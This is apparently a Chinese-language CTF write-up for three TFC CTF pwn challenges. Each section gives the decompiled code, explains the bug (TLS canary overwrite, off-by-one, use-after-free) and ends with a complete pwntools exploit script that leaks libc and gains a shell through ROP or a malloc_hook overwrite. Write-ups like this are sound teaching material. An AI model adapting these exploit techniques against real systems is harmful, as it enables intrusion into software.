# TFC CTF PWN
# GUARD-THE-BYPASS
136 points PWN
Luma 63 solves EASY
Guard this cookie.
Note: If you successfully create a working exploit in the provided Docker, ensure you try the exploit multiple times on the remote system if any issues arise.
检查保护:
[*] '/home/yhuan/Desktop/chall/GUARD-THE-BYPASS/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
RUNPATH: b'.'
开启 canary
int __cdecl main(int argc, const char **argv, const char **envp) | |
{ | |
int v5; // [rsp+Ch] [rbp-14h] BYREF | |
pthread_t newthread; // [rsp+10h] [rbp-10h] BYREF | |
unsigned __int64 v7; // [rsp+18h] [rbp-8h] | |
v7 = __readfsqword(0x28u); | |
setup(argc, argv, envp); | |
puts("Welcome! Press 1 to start the chall."); | |
__isoc99_scanf("%d", &v5); | |
if ( v5 != 1 ) | |
{ | |
puts("Bye!"); | |
exit(0); | |
} | |
len = get_len(); | |
pthread_create(&newthread, 0LL, game, 0LL); | |
pthread_join(newthread, 0LL); | |
return v7 - __readfsqword(0x28u); | |
} | |
unsigned __int64 __fastcall game(void *a1) | |
{ | |
__int64 buf[5]; // [rsp+0h] [rbp-30h] BYREF | |
unsigned __int64 v3; // [rsp+28h] [rbp-8h] | |
v3 = __readfsqword(0x28u); | |
memset(buf, 0, 32); | |
getchar(); | |
read(0, buf, len); | |
return v3 - __readfsqword(0x28u); | |
} |
要点
pthread_create(&newthread, 0LL, game, 0LL);
read(0, buf, len);
len 是我们给予,所以溢出我们控制。题目没有泄露 canary 的地方,采取覆盖 tls 上 canary,在调试环节,有些地方需要给与合法地址,所以在栈上布置合理即可。
# exp:
''' | |
huan_attack_pwn | |
''' | |
import sys | |
from pwn import * | |
# from LibcSearcher import * | |
# from ctypes import * | |
context(arch='amd64', os='linux', log_level='debug') | |
# context(arch='i386' , os='linux', log_level='debug') | |
binary = './pwn' | |
libc = './libc.so.6' | |
host, port = "challs.tfcctf.com:30558".split(":") | |
print(('\033[31;40mremote\033[0m: (y)\n' | |
'\033[32;40mprocess\033[0m: (n)')) | |
if sys.argv[1] == 'y': | |
r = remote(host, int(port)) | |
else: | |
r = process(binary) | |
# r = gdb.debug(binary) | |
# libc = cdll.LoadLibrary(libc) | |
libc = ELF(libc) | |
elf = ELF(binary) | |
# srand = libc.srand (libc.time (0)) #设置种子 | |
default = 1 | |
se = lambda data : r.send(data) | |
sa = lambda delim, data : r.sendafter(delim, data) | |
sl = lambda data : r.sendline(data) | |
sla = lambda delim, data : r.sendlineafter(delim, data) | |
rc = lambda numb=4096 : r.recv(numb) | |
rl = lambda time=default : r.recvline(timeout=time) | |
ru = lambda delims, time=default : r.recvuntil(delims,timeout=time) | |
rpu = lambda delims, time=default : r.recvuntil(delims,timeout=time,drop=True) | |
uu32 = lambda data : u32(data.ljust(4, b'\0')) | |
uu64 = lambda data : u64(data.ljust(8, b'\0')) | |
lic = lambda data : uu64(ru(data)[-6:]) | |
padding = lambda length : b'Yhuan' * (length // 5) + b'Y' * (length % 5) | |
lg = lambda var_name : log.success(f"{var_name} :0x{globals()[var_name]:x}") | |
prl = lambda var_name : print(len(var_name)) | |
debug = lambda command='' : gdb.attach(r,command) | |
it = lambda : r.interactive() | |
ru("Welcome! Press 1 to start the chall.\n") | |
pl = '1' | |
rdi = 0x0000000000401256 | |
pg = elf.got['puts'] | |
pp = elf.plt['puts'] | |
sleep(0.1) | |
sl(pl) | |
# pl = 'testing~~~~' | |
sleep(0.1) | |
pl = (padding(0x28) + b'\x11'*8 + padding(0x8) + | |
p64(rdi+1) +p64(rdi) + p64(pg) + p64(pp) + p64(0x40132F) + | |
p64(0x850)*(0x4d8//8) + p64(elf.bss()+400)*(0x310//8) + b'\x11'*0x8) | |
print(hex(len(pl))) | |
# pause() | |
sla('Select the len: ',str(len(pl))) | |
sleep(0.1) | |
sl(pl) | |
puts = u64(rc(6).ljust(8,b'\x00')) | |
lg('puts') | |
libcbase = puts - libc.sym['puts'] | |
system = libcbase + libc.sym['system'] | |
binsh = libcbase + next(libc.search(b'/bin/sh')) | |
pl = padding(0x28) + b'\x11'*8 + padding(0x8) + p64(rdi) + p64(binsh) + p64(system) | |
sl(pl) | |
it() |
# VSPM
360 points PWN
Luma 39 solves MEDIUM
I got tired of remembering my passwords… Password managers are so useful!
检查保护:
[*] '/home/yhuan/Desktop/chall/vspm/chall'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'.'
经典菜单题目,给的 libc 版本 2.30,但是没有 tcache 机制。
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3) | |
{ | |
int v3; // [rsp+4h] [rbp-Ch] BYREF | |
unsigned __int64 v4; // [rsp+8h] [rbp-8h] | |
v4 = __readfsqword(0x28u); | |
sub_1289(a1, a2, a3); | |
puts("Welcome to the Very Secure Password Manager!"); | |
puts("--------------------------------------------\n"); | |
puts("1. Save new password"); | |
puts("2. Check my passwords"); | |
puts("3. Delete credentials"); | |
puts("4. Exit"); | |
while ( 1 ) | |
{ | |
v3 = 0; | |
printf("Input: "); | |
__isoc99_scanf("%d", &v3); | |
getchar(); | |
if ( v3 <= 0 || v3 > 4 ) | |
break; | |
switch ( v3 ) | |
{ | |
case 4: | |
Exit(); | |
case 3: | |
Delete(); | |
break; | |
case 1: | |
Add(); | |
break; | |
default: | |
Check(); | |
break; | |
} | |
} | |
puts("Not a valid choice :("); | |
exit(0); | |
} | |
unsigned __int64 Add() | |
{ | |
unsigned int v1; // [rsp+8h] [rbp-68h] BYREF | |
int i; // [rsp+Ch] [rbp-64h] | |
__int64 v3; // [rsp+10h] [rbp-60h] | |
__int64 v4; // [rsp+18h] [rbp-58h] | |
__int64 v5; // [rsp+20h] [rbp-50h] | |
__int64 v6; // [rsp+28h] [rbp-48h] | |
__int64 v7; // [rsp+30h] [rbp-40h] | |
__int64 v8; // [rsp+38h] [rbp-38h] | |
__int64 v9; // [rsp+40h] [rbp-30h] | |
__int64 v10; // [rsp+48h] [rbp-28h] | |
__int64 v11; // [rsp+50h] [rbp-20h] | |
__int64 v12; // [rsp+58h] [rbp-18h] | |
unsigned __int64 v13; // [rsp+68h] [rbp-8h] | |
v13 = __readfsqword(0x28u); | |
for ( i = 0; i <= 9 && *((_QWORD *)&unk_4060 + 5 * i); ++i ) | |
; | |
if ( i == 10 ) | |
{ | |
puts("No more space to save passwords."); | |
exit(0); | |
} | |
printf("\nSelect length: "); | |
v1 = 0; | |
__isoc99_scanf("%d", &v1); | |
getchar(); | |
if ( v1 >= 0x79 ) | |
{ | |
puts("Sorry, not enough resources!"); | |
exit(0); | |
} | |
v3 = 0LL; | |
v4 = 0LL; | |
v5 = 0LL; | |
v6 = 0LL; | |
v7 = 0LL; | |
v8 = 0LL; | |
v9 = 0LL; | |
v10 = 0LL; | |
v11 = 0LL; | |
v12 = 0LL; | |
*((_QWORD *)&unk_4060 + 5 * i) = malloc((int)v1); | |
printf("Enter credentials: "); | |
read(0, *((void **)&unk_4060 + 5 * i), (int)(v1 + 1)); | |
printf("Name of the credentials: "); | |
read(0, (char *)&unk_4060 + 40 * i + 8, (int)(v1 + 1)); | |
return __readfsqword(0x28u) ^ v13; | |
} |
有 off by one 漏洞,free 处没漏洞点
因为没有 tcache 机制,所以可以使用 fastbin attack 攻击 malloc_hook,但是 size 大小被限制,所以需要用 off by one 修改 chunksize,置入 unsortedbin 内,然后堆重叠,修改 fastbin fd 到 malloc_hook-0x23 即可
# exp:
''' | |
huan_attack_pwn | |
''' | |
import sys | |
from pwn import * | |
# from LibcSearcher import * | |
# from ctypes import * | |
context(arch='amd64', os='linux', log_level='debug') | |
# context(arch='i386' , os='linux', log_level='debug') | |
binary = './chall' | |
libc = './libc.so.6' | |
host, port = "challs.tfcctf.com:30956".split(":") | |
print(('\033[31;40mremote\033[0m: (y)\n' | |
'\033[32;40mprocess\033[0m: (n)')) | |
if sys.argv[1] == 'y': | |
r = remote(host, int(port)) | |
else: | |
r = process(binary) | |
# r = gdb.debug(binary) | |
# libc = cdll.LoadLibrary(libc) | |
libc = ELF(libc) | |
elf = ELF(binary) | |
# srand = libc.srand (libc.time (0)) #设置种子 | |
default = 1 | |
se = lambda data : r.send(data) | |
sa = lambda delim, data : r.sendafter(delim, data) | |
sl = lambda data : r.sendline(data) | |
sla = lambda delim, data : r.sendlineafter(delim, data) | |
rc = lambda numb=4096 : r.recv(numb) | |
rl = lambda time=default : r.recvline(timeout=time) | |
ru = lambda delims, time=default : r.recvuntil(delims,timeout=time) | |
rpu = lambda delims, time=default : r.recvuntil(delims,timeout=time,drop=True) | |
uu32 = lambda data : u32(data.ljust(4, b'\0')) | |
uu64 = lambda data : u64(data.ljust(8, b'\0')) | |
lic = lambda data : uu64(ru(data)[-6:]) | |
padding = lambda length : b'Yhuan' * (length // 5) + b'Y' * (length % 5) | |
lg = lambda var_name : log.success(f"{var_name} :0x{globals()[var_name]:x}") | |
prl = lambda var_name : print(len(var_name)) | |
debug = lambda command='' : gdb.attach(r,command) | |
it = lambda : r.interactive() | |
def menu(idx): | |
sla('Input: ',str(idx)) | |
def add(size,password,name): | |
menu(1) | |
sla('Select length: ',str(size)) | |
sa('Enter credentials: ',password) | |
sa('Name of the credentials: ',name) | |
def show(): | |
menu(2) | |
def dele(idx): | |
menu(3) | |
sla("Select index: ",str(idx)) | |
# add(0x18,b'a',b'b') | |
add(0x18,b'a',b'b') | |
add(0x48,b'aaaa',b'bbbb') | |
add(0x18,p64(0),b'b') | |
add(0x18,p64(0),b'b') | |
add(0x18,p64(0),b'b') | |
add(0x28,p64(0),b'b') | |
dele(0) | |
pl = padding(0x18) + b'\x91' | |
add(0x18,pl,b'b') | |
dele(1) | |
add(0x18,b'deadbeef',b'b') | |
show() | |
ru(b'deadbeef') | |
libcbase = u64(rc(6).ljust(8,b'\0')) - 96 - 0x10 - libc.sym['__malloc_hook'] - 0x80 | |
lg('libcbase') | |
malloc_hook = libc.sym['__malloc_hook'] + libcbase | |
og = [0x42e69,0x42e7a,0x6f821,0x6f82f,0x6f834,0xc4dbf,0xc4ddf,0xc4de6,0xe1fa1,0xe1fad] | |
ogg = libcbase + og[8] | |
memalign_hook_ = libc.sym['memalign_hook_ini'] + libcbase | |
realloc_hook_ini = libc.sym['realloc_hook_ini'] + libcbase | |
pl = padding(0x20) + p64(0) + p64(0x41) + padding(0x10) + p64(0) + p64(0x71) | |
add(len(pl), pl ,'b') | |
dele(3) | |
dele(2) | |
pl = padding(0x10) + p64(0) + p64(0x71) + p64(malloc_hook-0x23) | |
add(0x38, pl, 'b') | |
add(0x68,'b','b') | |
pl = p8(0)*3 + p64(memalign_hook_) + p64(ogg) + p64(ogg) | |
add(0x68,pl,'b') | |
# # pause() | |
# # dele(2) | |
# debug() | |
menu(1) | |
sla('Select length: ','32') | |
# sla('Enter credentials: ','a') | |
it() |
# MCBACK2DABASICS
491 points PWN
Mcsky23 10 solves MEDIUM
Back 2 the chunks back 2 the muney back 2 the writes I don’t listen 2 u when u corrupted cause u just talkin out of bytes You’ll clear some certain bins just to see us overwrite…
[*] '/home/yhuan/Desktop/chall/mcback2dabasics/handout/chall1'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'/home/yhuan/glibc-all-in-one/libs/2.24-3ubuntu1_amd64'
void __fastcall __noreturn main(int a1, char **a2, char **a3) | |
{ | |
int v3; // [rsp+0h] [rbp-10h] BYREF | |
int i; // [rsp+4h] [rbp-Ch] | |
unsigned __int64 v5; // [rsp+8h] [rbp-8h] | |
v5 = __readfsqword(0x28u); | |
setvbuf(stdin, 0LL, 2, 0LL); | |
setvbuf(stdout, 0LL, 2, 0LL); | |
setvbuf(stderr, 0LL, 2, 0LL); | |
for ( i = 0; i <= 63; ++i ) | |
qword_202060[i] = 0LL; | |
while ( 1 ) | |
{ | |
while ( 1 ) | |
{ | |
meau(); | |
_isoc99_scanf("%d", &v3); | |
if ( v3 != 2 ) | |
break; | |
dele(); | |
} | |
if ( v3 == 3 ) | |
{ | |
puts("Is that all you got? Bye!"); | |
exit(0); | |
} | |
if ( v3 == 1 ) | |
add(); | |
else | |
puts("Invalid choice"); | |
} | |
} | |
unsigned __int64 sub_B12() | |
{ | |
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF | |
unsigned __int64 v2; // [rsp+8h] [rbp-8h] | |
v2 = __readfsqword(0x28u); | |
puts("Which one?"); | |
printf("[+]> "); | |
_isoc99_scanf("%d", &v1); | |
if ( v1 > 0x3F ) | |
{ | |
puts("Invalid index"); | |
exit(0); | |
} | |
free((void *)qword_202060[v1]); | |
puts("Job done!"); | |
return __readfsqword(0x28u) ^ v2; | |
} | |
unsigned __int64 add() | |
{ | |
int v0; // eax | |
_DWORD nbytes[3]; // [rsp+Ch] [rbp-14h] BYREF | |
unsigned __int64 v3; // [rsp+18h] [rbp-8h] | |
v3 = __readfsqword(0x28u); | |
if ( dword_20204C > 63 ) | |
{ | |
puts("No more memory available"); | |
exit(0); | |
} | |
puts("How much?"); | |
printf("[+]> "); | |
_isoc99_scanf("%d", nbytes); | |
if ( nbytes[0] > 0x70u ) | |
{ | |
puts("Nope, too big"); | |
exit(0); | |
} | |
*(_QWORD *)&nbytes[1] = malloc((unsigned int)(nbytes[0] + 1)); | |
puts("Data?"); | |
read(0, *(void **)&nbytes[1], nbytes[0]); | |
*(_BYTE *)(nbytes[0] + *(_QWORD *)&nbytes[1]) = 0; | |
v0 = dword_20204C++; | |
qword_202060[v0] = *(_QWORD *)&nbytes[1]; | |
puts("Job done!"); | |
return __readfsqword(0x28u) ^ v3; | |
} |
规定 chunk 大小,程序有 uaf 漏洞,不能 show,所以打 IO,将 write_base 微改一下,泄露处 libc 地址即可,然后 fastbin attack 修改 malloc 为 ogg 即可
但是此题需要仔细调整 fastbin fd 和 unsorted fd
add(0x60,b'a')# 0 | |
add(0x60,b'b')# 1 | |
add(0x40,b'c')# 2 | |
add(0x60,b'd'*0x10 + p64(0) + p64(0x71))# 3 | |
add(0x60,b'e'*0x8 + p64(0x71))# 4 | |
add(0x60,b'f'*0x8 + p64(0x61))# 5 | |
delete(3) | |
delete(4) | |
delete(3) | |
add(0x60,b'\xb0') | |
add(0x60,b'd') | |
add(0x60,b'e') | |
add(0x60,b'f'*0x58 + p64(0xe1)) | |
add(0x60,'g')# 10 | |
add(0x50,b'h'*0x18+p64(0x41))# 11 | |
add(0x50,'i')# 12 | |
delete(10) | |
delete(5) | |
add(0x40,b'j'*0x38+p64(0x61)) | |
add(0x10,b'k'*0x8+p64(0x61)) | |
delete(12) | |
delete(11) | |
delete(12) | |
add(0x50,b'\x70')# 13 | |
add(0x50,b'l')# 14 | |
add(0x50,b'm')# 15 | |
add(0x50,p64(0) + p64(0x71) + b'\xbd\x25')# 15 |
我的调整如上方案,若有大佬有好的调整方案欢迎联系
# exp:
''' | |
huan_attack_pwn | |
''' | |
import sys | |
from pwn import * | |
# from LibcSearcher import * | |
# from ctypes import * | |
context(arch='amd64', os='linux', log_level='debug') | |
# context(arch='i386' , os='linux', log_level='debug') | |
binary = './chall1' | |
libc = '/home/yhuan/glibc-all-in-one/libs/2.24-9ubuntu2_amd64/libc.so.6' | |
host, port = "challs.tfcctf.com:32324".split(":") | |
print(('\033[31;40mremote\033[0m: (y)\n' | |
'\033[32;40mprocess\033[0m: (n)')) | |
if sys.argv[1] == 'y': | |
r = remote(host, int(port)) | |
else: | |
r = process(binary) | |
# r = gdb.debug(binary) | |
# libc = cdll.LoadLibrary(libc) | |
libc = ELF(libc) | |
elf = ELF(binary) | |
# srand = libc.srand (libc.time (0)) #设置种子 | |
default = 1 | |
se = lambda data : r.send(data) | |
sa = lambda delim, data : r.sendafter(delim, data) | |
sl = lambda data : r.sendline(data) | |
sla = lambda delim, data : r.sendlineafter(delim, data) | |
rc = lambda numb=4096 : r.recv(numb) | |
rl = lambda time=default : r.recvline(timeout=time) | |
ru = lambda delims, time=default : r.recvuntil(delims,timeout=time) | |
rpu = lambda delims, time=default : r.recvuntil(delims,timeout=time,drop=True) | |
uu32 = lambda data : u32(data.ljust(4, b'\0')) | |
uu64 = lambda data : u64(data.ljust(8, b'\0')) | |
lic = lambda data : uu64(ru(data)[-6:]) | |
padding = lambda length : b'Yhuan' * (length // 5) + b'Y' * (length % 5) | |
lg = lambda var_name : log.success(f"{var_name} :0x{globals()[var_name]:x}") | |
prl = lambda var_name : print(len(var_name)) | |
debug = lambda command='' : gdb.attach(r,command) | |
it = lambda : r.interactive() | |
def add(size,content): | |
sla(b"[+]> ",b"1") | |
sla(b"[+]> ",str(size).encode()) | |
sa(b"Data?",content) | |
def quit(): | |
sla(b"[+]> ",b"3") | |
def delete(idx): | |
sla(b"[+]> ",b"2") | |
sla(b"[+]> ",str(idx).encode()) | |
add(0x60,b'a')# 0 | |
add(0x60,b'b')# 1 | |
add(0x40,b'c')# 2 | |
add(0x60,b'd'*0x10 + p64(0) + p64(0x71))# 3 | |
add(0x60,b'e'*0x8 + p64(0x71))# 4 | |
add(0x60,b'f'*0x8 + p64(0x61))# 5 | |
delete(3) | |
delete(4) | |
delete(3) | |
add(0x60,b'\xb0') | |
add(0x60,b'd') | |
add(0x60,b'e') | |
add(0x60,b'f'*0x58 + p64(0xe1)) | |
add(0x60,'g')# 10 | |
add(0x50,b'h'*0x18+p64(0x41))# 11 | |
add(0x50,'i')# 12 | |
delete(10) | |
delete(5) | |
add(0x40,b'j'*0x38+p64(0x61)) | |
add(0x10,b'k'*0x8+p64(0x61)) | |
delete(12) | |
delete(11) | |
delete(12) | |
add(0x50,b'\x70')# 13 | |
add(0x50,b'l')# 14 | |
add(0x50,b'm')# 15 | |
add(0x50,p64(0) + p64(0x71) + b'\xbd\x25')# 15 | |
debug() | |
add(0x60,'win') | |
add(0x61,b"\x00"*0x33+p64(0xfbad1800) + p64(0) * 3 + p8(0x20)) | |
# ru('\x00\x18\xad\xfb') | |
rc(0x20-4) | |
libcbase = u64(rc(6).ljust(8,b'\x00')) - libc.sym['_IO_2_1_stdout_'] - 0x20 | |
lg('libcbase') | |
# pause() | |
og = [0xf1919] | |
ogg = libcbase + og[0] | |
malloc_hook = libcbase + libc.sym['__malloc_hook'] | |
delete(0) | |
delete(1) | |
delete(0) | |
add(0x60,p64(malloc_hook-0x23)) | |
add(0x60,'next') | |
add(0x60,'next') | |
pl = p8(0)*3 + p64(0) + p64(0) + p64(ogg) | |
add(0x60,pl) | |
sla(b"[+]> ",b"1") | |
sla(b"[+]> ",str(32).encode()) | |
it() |
此题,远程并没有给 libc 文件,知道是 ubuntu 17.04 版本,若打远程需要进行多次尝试,并且脚本在开启 aslr 情况下,需要 1/16 概率